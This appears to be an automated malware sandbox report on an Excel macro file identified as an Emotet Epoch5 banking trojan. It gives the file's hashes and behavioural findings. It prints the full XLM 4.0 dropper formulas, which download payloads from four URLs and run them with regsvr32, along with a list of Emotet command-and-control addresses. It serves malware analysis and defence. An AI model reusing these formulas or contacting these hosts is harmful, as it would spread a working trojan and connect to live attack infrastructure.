Overview

overview

10

Static

static

10

Documents_0811.xlsm

windows7-x64

10

Documents_0811.xlsm

windows10-2004-x64

1

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Documents_0811.xlsm

  • Size

    228KB

  • Sample

    221118-dq3tbage39

  • MD5

    b9dd57a79aaa1a8ff03b3c482abbf204

  • SHA1

    0816d70a7be2e6c77a45c406f6051701a39f68d5

  • SHA256

    74a77b0770be378c8faadbeb90fe614ae8a90b870af0695996b9cc5b3cf10c8e

  • SHA512

    a2491c04004f65a41ea4fb55f98d703b628b8b6dd106a81c8e73becbf7df2d7ddf482f79ad815bd0ccad7af84e16446a8d53f76521dcaf4880898968bb3ee5b3

  • SSDEEP

    6144:hR2WMrfxxjhBMMrxBRXZ5Dz3M1qa8L4cyU:hR2LDHf9PH5XUqRLTyU

Score
10/10
emotetepoch5bankermacrotrojanxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://bencevendeghaz.hu/2zjoi/aUJLqwAxxlq/

http://ftp.agoraexpress.info/cgi-bin/rooSQD2tWB/

http://45.32.114.141/xilte/SYtPsYVOaJpNvcqVTOi/

http://www.nipunpharmaskill.com/fonts/jHAVDcbRKKHP24FAf/
Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bencevendeghaz.hu/2zjoi/aUJLqwAxxlq/","..\oxnv1.ooccxx",0,0) =EXEC("C:\Windows\System32\regsvr32.exe /S ..\oxnv1.ooccxx") =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ftp.agoraexpress.info/cgi-bin/rooSQD2tWB/","..\oxnv2.ooccxx",0,0) =EXEC("C:\Windows\System32\regsvr32.exe /S ..\oxnv2.ooccxx") =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.32.114.141/xilte/SYtPsYVOaJpNvcqVTOi/","..\oxnv3.ooccxx",0,0) =EXEC("C:\Windows\System32\regsvr32.exe /S ..\oxnv3.ooccxx") =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.nipunpharmaskill.com/fonts/jHAVDcbRKKHP24FAf/","..\oxnv4.ooccxx",0,0) =EXEC("C:\Windows\System32\regsvr32.exe /S ..\oxnv4.ooccxx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://bencevendeghaz.hu/2zjoi/aUJLqwAxxlq/
xlm40.dropper

http://ftp.agoraexpress.info/cgi-bin/rooSQD2tWB/
xlm40.dropper

http://45.32.114.141/xilte/SYtPsYVOaJpNvcqVTOi/
xlm40.dropper

http://www.nipunpharmaskill.com/fonts/jHAVDcbRKKHP24FAf/

Extracted

Family

emotet

Botnet

Epoch5

C2

178.238.225.252:8080

139.196.72.155:8080

36.67.23.59:443

103.56.149.105:8080

37.44.244.177:8080

85.25.120.45:8080

202.134.4.210:7080

78.47.204.80:443

83.229.80.93:8080

93.104.209.107:8080

80.211.107.116:8080

165.22.254.236:8080

104.244.79.94:443

185.148.169.10:8080

190.145.8.4:443

175.126.176.79:8080

139.59.80.108:8080

188.165.79.151:443

128.199.217.206:443

64.227.55.231:8080
ecs1.plain
eck1.plain

Targets

    • Target

      Documents_0811.xlsm

    • Size

      228KB

    • MD5

      b9dd57a79aaa1a8ff03b3c482abbf204

    • SHA1

      0816d70a7be2e6c77a45c406f6051701a39f68d5

    • SHA256

      74a77b0770be378c8faadbeb90fe614ae8a90b870af0695996b9cc5b3cf10c8e

    • SHA512

      a2491c04004f65a41ea4fb55f98d703b628b8b6dd106a81c8e73becbf7df2d7ddf482f79ad815bd0ccad7af84e16446a8d53f76521dcaf4880898968bb3ee5b3

    • SSDEEP

      6144:hR2WMrfxxjhBMMrxBRXZ5Dz3M1qa8L4cyU:hR2LDHf9PH5XUqRLTyU

    Score
    10/10
    emotetepoch5bankertrojan

    • Emotet

      Emotet is a trojan that is primarily spread through spam emails.

      trojanbankeremotet

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Downloads MZ/PE file

    • Loads dropped DLL

    behavioral1behavioral2

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Tasks